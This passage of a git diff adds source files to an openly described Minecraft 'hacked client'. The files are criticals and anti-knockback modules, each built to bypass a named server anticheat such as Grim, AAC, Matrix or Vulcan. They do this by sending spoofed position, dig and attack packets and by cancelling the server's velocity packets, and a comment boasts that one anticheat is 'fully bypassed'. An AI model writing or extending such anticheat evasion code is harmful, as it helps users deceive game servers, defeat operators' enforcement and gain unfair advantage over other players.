critical.sendCriticalPacket(yOffset = 1.0155550727022, ground = false) + critical.sendCriticalPacket(yOffset = 0.78502770378924, ground = false) + critical.sendCriticalPacket(yOffset = 0.4807108763317, ground = false) + critical.sendCriticalPacket(yOffset = 0.10408037809304, ground = false) + critical.sendCriticalPacket(yOffset = 0.0, ground = true) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/TPHopCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/TPHopCritical.kt new file mode 100644 index 0000000..11d583c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/TPHopCritical.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class TPHopCritical : CriticalMode("TPHop") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.02, ground = false) + critical.sendCriticalPacket(yOffset = 0.01, ground = false) + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.01, mc.thePlayer.posZ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/BlocksMCCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/BlocksMCCritical.kt new file mode 100644 index 0000000..62f9196 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/BlocksMCCritical.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class BlocksMCCritical : CriticalMode("BlocksMC") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0825080378093, ground = false) + critical.sendCriticalPacket(yOffset = 0.0215634532004, ground = false) + critical.sendCriticalPacket(yOffset = 0.1040220332227, ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/GrimCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/GrimCritical.kt new file mode 100644 index 0000000..47c0389 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/GrimCritical.kt @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class GrimCritical : CriticalMode("Grim") { + private var attacks = 0 + override fun onEnable() { + attacks = 0 + } + override fun onAttack(event: AttackEvent) { + attacks++ + if (attacks > 3) { + if (!mc.thePlayer.onGround) { + critical.sendCriticalPacket(yOffset = 0.110314, ground = false) + critical.sendCriticalPacket(yOffset = 0.0200081, ground = false) + critical.sendCriticalPacket(yOffset = 0.00000001300009, ground = false) + critical.sendCriticalPacket(yOffset = 0.000000000022, ground = false) + critical.sendCriticalPacket(ground = true) + attacks = 0 + } + } else { + critical.antiDesync = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/HorizonCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/HorizonCritical.kt new file mode 100644 index 0000000..b326661 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/HorizonCritical.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class HorizonCritical : CriticalMode("Horizon") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0001, ground = true) + critical.sendCriticalPacket(ground = false) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/MineplexCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/MineplexCritical.kt new file mode 100644 index 0000000..cac3e1c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/MineplexCritical.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class MineplexCritical : CriticalMode("Mineplex") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0000000000000045, ground = false) + critical.sendCriticalPacket(ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/TakaAC.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/TakaAC.kt new file mode 100644 index 0000000..9da1413 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/TakaAC.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class TakaACCritical : CriticalMode("TakaAC") { + private var attacked = 0 + + override fun onAttack(event: AttackEvent) { + attacked++ + if (attacked >= 5) { + critical.sendCriticalPacket(yOffset = 0.33319999363422365, ground = false) + critical.sendCriticalPacket(yOffset = 0.24813599859094576, ground = false) + critical.sendCriticalPacket(yOffset = 0.16477328182606651, ground = false) + critical.sendCriticalPacket(yOffset = 0.08307781780646721, ground = false) + attacked = 0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/TestMinemoraCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/TestMinemoraCritical.kt new file mode 100644 index 0000000..618c41a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/TestMinemoraCritical.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class TestMinemoraCritical : CriticalMode("TestMinemora") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0114514, ground = false) + critical.sendCriticalPacket(yOffset = 0.0010999999940395355, ground = false) + critical.sendCriticalPacket(yOffset = 0.00150000001304, ground = false) + critical.sendCriticalPacket(yOffset = 0.0012016413, ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/VerusSmartCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/VerusSmartCritical.kt new file mode 100644 index 0000000..747da4a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/other/VerusSmartCritical.kt @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.other + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class VerusSmartCritical : CriticalMode("VerusSmart") { + private var attacks = 0 + override fun onEnable() { + attacks = 0 + } + override fun onAttack(event: AttackEvent) { + attacks++ + if (attacks > 4) { + attacks = 0 + + critical.sendCriticalPacket(yOffset = 0.001, ground = true) + critical.sendCriticalPacket(ground = false) + } else { + critical.antiDesync = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/MatrixSemiCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/MatrixSemiCritical.kt new file mode 100644 index 0000000..d0d3e7b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/MatrixSemiCritical.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.semi + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class MatrixSemiCritical : CriticalMode("MatrixSemi") { + private var attacks = 0 + override fun onEnable() { + attacks = 0 + } + override fun onAttack(event: AttackEvent) { + attacks++ + if (attacks > 3) { + critical.sendCriticalPacket(yOffset = 0.0825080378093, ground = false) + critical.sendCriticalPacket(yOffset = 0.023243243674, ground = false) + critical.sendCriticalPacket(yOffset = 0.0215634532004, ground = false) + critical.sendCriticalPacket(yOffset = 0.00150000001304, ground = false) + attacks = 0 + } else { + critical.antiDesync = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/MatrixSmartCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/MatrixSmartCritical.kt new file mode 100644 index 0000000..4a9732f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/MatrixSmartCritical.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.semi + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class MatrixSmartCritical : CriticalMode("MatrixSmart") { + private var attacks = 0 + override fun onEnable() { + attacks = 0 + } + override fun onAttack(event: AttackEvent) { + attacks++ + if (attacks > 3) { + critical.sendCriticalPacket(yOffset = 0.110314, ground = false) + critical.sendCriticalPacket(yOffset = 0.0200081, ground = false) + critical.sendCriticalPacket(yOffset = 0.00000001300009, ground = false) + critical.sendCriticalPacket(yOffset = 0.000000000022, ground = false) + critical.sendCriticalPacket(ground = true) + attacks = 0 + } else { + critical.antiDesync = false + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/VulcanCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/VulcanCritical.kt new file mode 100644 index 0000000..3188118 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/semi/VulcanCritical.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.semi + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class VulcanCritical : CriticalMode("Vulcan") { + private var attacks = 0 + override fun onEnable() { + attacks = 0 + } + override fun onAttack(event: AttackEvent) { + attacks++ //Vulcan updated and it fully bypassed, that's pogggg *bruh + if (attacks > 7) { //TODO: when you stopped moving it may flags sometimes (doesn't matter) + critical.sendCriticalPacket(yOffset = 0.16477328182606651, ground = false) + critical.sendCriticalPacket(yOffset = 0.08307781780646721, ground = false) + critical.sendCriticalPacket(yOffset = 0.0030162615090425808, ground = false) + attacks = 0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/VelocityMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/VelocityMode.kt new file mode 100644 index 0000000..ed3a2cd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/VelocityMode.kt @@ -0,0 +1,37 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.combat.Velocity +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value +import net.minecraftforge.event.entity.player.AttackEntityEvent + +abstract class VelocityMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val velocity: Velocity + get() = FDPClient.moduleManager[Velocity::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onVelocity(event: UpdateEvent) {} + open fun onVelocityPacket(event: PacketEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onAttack(event: AttackEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onWorld(event: WorldEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} + open fun onStrafe(event: StrafeEvent) {} + open fun onTick(event: TickEvent) {} + open fun onAttackEntity(event: AttackEntityEvent) {} +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC4ReduceVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC4ReduceVelocity.kt new file mode 100644 index 0000000..284f986 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC4ReduceVelocity.kt @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class AAC4ReduceVelocity : VelocityMode("AAC4Reduce") { + override fun onVelocity(event: UpdateEvent) { + if (mc.thePlayer.hurtTime> 0 && !mc.thePlayer.onGround && velocity.velocityInput && velocity.velocityTimer.hasTimePassed(80L)) { + mc.thePlayer.motionX *= 0.62 + mc.thePlayer.motionZ *= 0.62 + } + if (velocity.velocityInput && (mc.thePlayer.hurtTime <4 || mc.thePlayer.onGround) && velocity.velocityTimer.hasTimePassed(120L)) { + velocity.velocityInput = false + } + } + + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + velocity.velocityInput = true + packet.motionX = (packet.getMotionX() * 0.6).toInt() + packet.motionZ = (packet.getMotionZ() * 0.6).toInt() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC520CombatVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC520CombatVelocity.kt new file mode 100644 index 0000000..0d2211e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC520CombatVelocity.kt @@ -0,0 +1,47 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class AAC520CombatVelocity : VelocityMode("AAC5.2.0Combat") { + private var templateX = 0 + private var templateY = 0 + private var templateZ = 0 + override fun onEnable() { + templateX = 0 + templateY = 0 + templateZ = 0 + } + + override fun onVelocity(event: UpdateEvent) { + if (mc.thePlayer.hurtTime> 0 && velocity.velocityInput) { + velocity.velocityInput = false + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionY = 0.0 + mc.thePlayer.jumpMovementFactor = -0.002f + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 1.7976931348623157E+308, mc.thePlayer.posZ, true)) + } + if (velocity.velocityTimer.hasTimePassed(80L) && velocity.velocityInput) { + velocity.velocityInput = false + mc.thePlayer.motionX = templateX / 8000.0 + mc.thePlayer.motionZ = templateZ / 8000.0 + mc.thePlayer.motionY = templateY / 8000.0 + mc.thePlayer.jumpMovementFactor = -0.002f + } + } + + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + event.cancelEvent() + velocity.velocityInput = true + templateX = packet.motionX + templateZ = packet.motionZ + templateY = packet.motionY + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC520Velocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC520Velocity.kt new file mode 100644 index 0000000..81cb24d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC520Velocity.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class AAC520Velocity : VelocityMode("AAC5.2.0") { + override fun onVelocityPacket(event: PacketEvent) { + if(event.packet is S12PacketEntityVelocity) { + event.cancelEvent() + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 1.7976931348623157E+308, mc.thePlayer.posZ, true)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC5ReduceVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC5ReduceVelocity.kt new file mode 100644 index 0000000..b4f42ce --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AAC5ReduceVelocity.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.aac + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class AAC5ReduceVelocity : VelocityMode("AAC5Reduce") { + override fun onVelocity(event: UpdateEvent) { + if (mc.thePlayer.hurtTime> 1 && velocity.velocityInput) { + mc.thePlayer.motionX *= 0.81 + mc.thePlayer.motionZ *= 0.81 + } + if (velocity.velocityInput && (mc.thePlayer.hurtTime <5 || mc.thePlayer.onGround) && velocity.velocityTimer.hasTimePassed(120L)) { + velocity.velocityInput = false + } + } + + override fun onVelocityPacket(event: PacketEvent) { + velocity.velocityInput = true + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AACPushVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AACPushVelocity.kt new file mode 100644 index 0000000..4ac35bc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AACPushVelocity.kt @@ -0,0 +1,61 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.aac + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.module.modules.movement.Speed +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue + +class AACPushVelocity : VelocityMode("AACPush") { + private val aacPushXZReducerValue = FloatValue("AACPushXZReducer", 2F, 1F, 3F) + private val aacPushYReducerValue = BoolValue("AACPushYReducer", true) + private var jump = false + override fun onEnable() { + jump = false + } + + override fun onVelocity(event: UpdateEvent) { + if (jump) { + if (mc.thePlayer.onGround) { + jump = false + } + } else { + // Strafe + if (mc.thePlayer.hurtTime > 0 && mc.thePlayer.motionX != 0.0 && mc.thePlayer.motionZ != 0.0) { + mc.thePlayer.onGround = true + } + + // Reduce Y + if (mc.thePlayer.hurtResistantTime > 0 && aacPushYReducerValue.get() && + !FDPClient.moduleManager[Speed::class.java]!!.state) { + mc.thePlayer.motionY -= 0.014999993 + } + } + + // Reduce XZ + if (mc.thePlayer.hurtResistantTime >= 19) { + val reduce = aacPushXZReducerValue.get() + + mc.thePlayer.motionX /= reduce + mc.thePlayer.motionZ /= reduce + } + } + + override fun onJump(event: JumpEvent) { + if (mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isInWeb || (velocity.onlyGroundValue.get() && !mc.thePlayer.onGround)) { + return + } + + if ((velocity.onlyGroundValue.get() && !mc.thePlayer.onGround) || (velocity.onlyCombatValue.get() && !FDPClient.combatManager.inCombat)) { + return + } + + jump = true + + if (!mc.thePlayer.isCollidedVertically) { + event.cancelEvent() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AACZeroVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AACZeroVelocity.kt new file mode 100644 index 0000000..9ff2b62 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/aac/AACZeroVelocity.kt @@ -0,0 +1,41 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.aac + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class AACZeroVelocity : VelocityMode("AACZero") { + + override fun onVelocity(event: UpdateEvent) { + if (mc.thePlayer.hurtTime > 0) { + if (!velocity.velocityInput || mc.thePlayer.onGround || mc.thePlayer.fallDistance > 2F) { + return + } + + mc.thePlayer.addVelocity(0.0, -1.0, 0.0) + mc.thePlayer.onGround = true + } else { + velocity.velocityInput = false + } + } + + override fun onVelocityPacket(event: PacketEvent) { + velocity.velocityInput = true + } + + override fun onJump(event: JumpEvent) { + if (mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isInWeb || (velocity.onlyGroundValue.get() && !mc.thePlayer.onGround)) { + return + } + + if ((velocity.onlyGroundValue.get() && !mc.thePlayer.onGround) || (velocity.onlyCombatValue.get() && !FDPClient.combatManager.inCombat)) { + return + } + + if (mc.thePlayer.hurtTime > 0) { + event.cancelEvent() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/Grim117.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/Grim117.kt new file mode 100644 index 0000000..e80d7c0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/Grim117.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.grim + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.util.EnumFacing + +class Grim117 : VelocityMode("Grim1.17") { + + override fun onVelocityPacket(event: PacketEvent) { + repeat(4) { + mc.netHandler.addToSendQueue( + C03PacketPlayer.C06PacketPlayerPosLook( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.rotationYaw, + mc.thePlayer.rotationPitch, + mc.thePlayer.onGround + ) + ) + } + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK,mc.thePlayer.position, + EnumFacing.DOWN) + ) + event.cancelEvent() + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimC07.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimC07.kt new file mode 100644 index 0000000..1ad1f2e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimC07.kt @@ -0,0 +1,104 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.grim + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.network.play.server.S27PacketExplosion +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +class GrimC07 : VelocityMode("GrimC07") { + private val alwaysValue = BoolValue("${valuePrefix}Always", true) + + private val onlyAirValue = BoolValue("${valuePrefix}OnlyBreakAir", true) + + private val worldValue = BoolValue("${valuePrefix}BreakOnWorld", false) + + private val sendC03Value = + BoolValue("${valuePrefix}SendC03", false).displayable { false } // bypass latest but flag timer + + private val C06Value = + BoolValue("${valuePrefix}Send1.17C06", false).displayable { sendC03Value.get() } // need via to 1.17+ + + private val flagPauseValue = IntegerValue("FlagPause-Time", 50, 0, 5000) + + var gotVelo = false + var flagTimer = MSTimer() + + override fun onEnable() { + gotVelo = false + flagTimer.reset() + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook) + flagTimer.reset() + if (!flagTimer.hasTimePassed(flagPauseValue.get().toLong())) { + gotVelo = false + return + } + + if (packet is S12PacketEntityVelocity && packet.entityID == mc.thePlayer?.entityId) { + event.cancelEvent() + gotVelo = true + } else if (packet is S27PacketExplosion) { + event.cancelEvent() + gotVelo = true + } + } + + override fun onTick(event: TickEvent) { + + if (!flagTimer.hasTimePassed(flagPauseValue.get().toLong())) { + gotVelo = false + return + } + + val thePlayer = mc.thePlayer ?: return + val theWorld = mc.theWorld ?: return + if (gotVelo || alwaysValue.get()) { // packet processed event pls + val pos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) + if (checkBlock(pos) || checkBlock(pos.up())) { + gotVelo = false + } + } + } + + fun checkBlock(pos: BlockPos): Boolean { + if (!onlyAirValue.get() || mc.theWorld.isAirBlock(pos)) { + if (sendC03Value.get()) { + if (C06Value.get()) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C06PacketPlayerPosLook( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mc.thePlayer.rotationYaw, + mc.thePlayer.rotationPitch, + mc.thePlayer.onGround + ) + ) + else + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, + pos, + EnumFacing.DOWN + ) + ) + if (worldValue.get()) + mc.theWorld.setBlockToAir(pos) + return true + } + return false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimDamage.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimDamage.kt new file mode 100644 index 0000000..eb9dcb3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimDamage.kt @@ -0,0 +1,33 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.grim + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C0APacketAnimation + +class GrimDamage : VelocityMode("GrimDamage") { + + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.hurtTime == 9) { + val target = FDPClient.combatManager.getNearByEntity(3f) + repeat(12) { + mc.thePlayer.sendQueue.addToSendQueue( + C02PacketUseEntity( + target, + C02PacketUseEntity.Action.ATTACK + ) + ) + mc.thePlayer.sendQueue.addToSendQueue(C0APacketAnimation()) + } + mc.thePlayer.motionX *= 0.077760000 + mc.thePlayer.motionZ *= 0.077760000 + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimS32.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimS32.kt new file mode 100644 index 0000000..d0b2192 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/grim/GrimS32.kt @@ -0,0 +1,43 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.grim + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.network.play.server.S32PacketConfirmTransaction + +class GrimS32 : VelocityMode("GrimS32") { + var cancelPacket = 6 + var resetPersec = 8 + var grimTCancel = 0 + var updates = 0 + + override fun onEnable() { + grimTCancel = 0 + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is 